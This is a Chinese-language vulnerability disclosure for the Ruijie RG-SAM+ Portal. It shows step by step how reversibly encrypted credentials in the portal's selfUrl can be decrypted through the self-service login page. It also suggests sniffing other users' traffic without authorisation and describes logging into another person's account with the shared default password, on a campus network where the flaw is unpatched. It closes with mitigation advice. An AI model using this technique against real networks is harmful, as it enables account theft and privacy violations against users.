本报告披露了锐捷RG-SAM+ Portal存在的可能导致用户密钥泄漏,被骇客利用以盗用上网账号,威胁网络安全的缺陷。本实践是于2024年3月3日,在重庆工商大学校园网进行的。
【修复状态】
暂未修复
【可能涉及的产品和受影响的企业单位】
产品
锐捷RG-SAM+
锐捷RG-SAM+ Portal
企业单位
北京星网锐捷网络技术有限公司
部署了锐捷RG-SAM+ Portal的客户单位(含大量高校、教育城域网单位)
【实践环境】
CERNET 重庆工商大学校园网
RG-SAM+ ENTERPRISE_4.21(p16)_Build20220712
RG-SAM+ Portal_4.21(p16)_Build20220712
【缺陷简要说明】
用户完成上网认证,进入认证成功的提示页面后,将请求接口getOnlineUserInfo以获取用户信息,该接口的响应数据中包含用于自动登入用户自助服务系统的超链接,其中包含字段name、password。两字段虽然使用了锐捷自研的文本加解密算法进行加密,但该算法非不可逆加密算法,可进行解密并获得原始文本,造成用户账号密码泄漏。
该缺陷带来潜在的风险:
在满足条件1[上网认证页面Web Portal未启用HTTPS,或为HTTP访问优先]下,骇客在局域网内部署恶意软件,监听局域网内用户的上网数据包,可直接截获局域网内正在完成上网认证的用户的数据,其中包含name、password。该隐患经常发生于没有设置无线共享密钥的公共WI-FI,如校园公共WI-FI。
在满足条件1[大量上网用户密码为同一值/默认值]下,只需知晓一位用户的密码,即可登录任意其他用户的账号,导致用户的上网账号被他人恶意盗用,造成上网流量的损失。该隐患经常发生于采用了第三方登录方式(如OAuth)进行上网认证的企业单位。
【复现步骤】
1.抓取getOnlineUserInfo接口响应
此处使用Charles进行演示。也可将自己模拟为骇客,通过局域网窃听软件(如Wi-Fi伴侣),在未授权的情况下窃听连接到同一网络(同一Wi-Fi)的用户的请求。
在接口的响应数据中,找到selfUrl字段。
{
"userIndex": "3264336************************343133343334",
"result": "success",
"message": "获取用户信息成功",
"keepaliveInterval": null,
"maxLeavingTime": "不限时长",
"maxFlow": null,
"userName": "陈**",
"userId": "20********",
"userIp": "10.102.***.***",
"userMac": "fa********bc",
"webGatePort": null,
"webGateIp": null,
"service": "学生电信出口",
"realServiceName": "dianxin",
"apMac": null,
"vlanId": null,
"ssid": null,
"accountInfo": null,
"loginType": "3",
"utrustUrl": "",
"userUrl": "",
"pubMessage": null,
"userGroup": "教师组",
"accountFee": "0.00",
"wlanAcName": null,
"hasMabInfo": false,
"isAlowMab": false,
"userPackage": "******",
"selfUrl": "http://netserv.ctbu.edu.cn/selfservice//module/scgroup/web/login_judge.jsf?channel=cG9ydGFs&name=7fa04**************ec828f73&password=2759a0***************8739ebd&ip=211.83.***.55&callBack=loginself",
"ballInfo": "[]",
"ballIsDisplay": "true",
"notify": "[]",
......
如上面的示例,selfUrl为
http://netserv.ctbu.edu.cn/selfservice//module/scgroup/web/login_judge.jsf?channel=cG9ydGFs&name=7fa04**************ec828f73&password=2759a0***************8739ebd&ip=211.83.***.55&callBack=loginself
得到加密后的name和password。
name=7fa04**************ec828f73
password=2759a0***************8739ebd
2.使用自助服务系统自动登录接口解密数据
上面的到的name和password都经过了加密,但加解密通常不是形单影只的,有加密大概率还会有解密。尝试直接访问<strong>selfUrl</strong>链接,即可发现当用户名与密码不匹配时,系统会将name字段解密后放入用户名输入框中,以便用户重新尝试登录时,无需再次输入用户名。
因此,可利用name字段完成文本解密。
将password直接粘贴到name字段,形成下面的selfUrl,直接访问。(其中只需观察name字段被解密为了什么,因此password字段可以为任意值)
http://netserv.ctbu.edu.cn/selfservice//module/scgroup/web/login_judge.jsf?channel=cG9ydGFs&name=2759a0***************8739ebd&password=2759a0***************8739ebd&ip=211.83.***.55&callBack=loginself
可观察到password的原始文本可能[Ct********nic]。
3.确认账号和密码
经过前期的认识,作者所在的网域(重庆工商大学校园网),几乎所有用户的密码都是相同的默认值,因此将随机选取一个用户名尝试登录,以验证得到的密码。
部署锐捷RG-SAM+ Portal时,企业单位为用户配置的用户名通常是有规律可循的,这更加重了采用OAuth而非用户名/密码登录的网域中的安全隐患。
尝试登入一个用户名为20*****的账号,登录成功,同时也可进行一些破坏用户上网体验、泄漏他人隐私的风险操作。
【安全建议】
对于Web Portal,应尽可能配置SSL证书以启用HTTPS、使能HTTPS优先,使用户完成上网认证的数据包。这可以防范MITM攻击、监听,避免用户的账号密码被骇客轻易截获。
部署了锐捷RG-SAM+ Portal的企业单位,应当阻止大量用户密码相同,及时引导用户修改默认密码,或在导入用户账号时,为每一用户生成不同的随机密码。
建议锐捷公司在下一个发布版本中,采用更安全的方式登入自助服务系统,而不是将用户登录时的账号密码简单加密后插入到Query String中,应当避免在程序中进行任何对密码等敏感文本解密的操作。
❤️ 感谢
重庆工商大学提供测试环境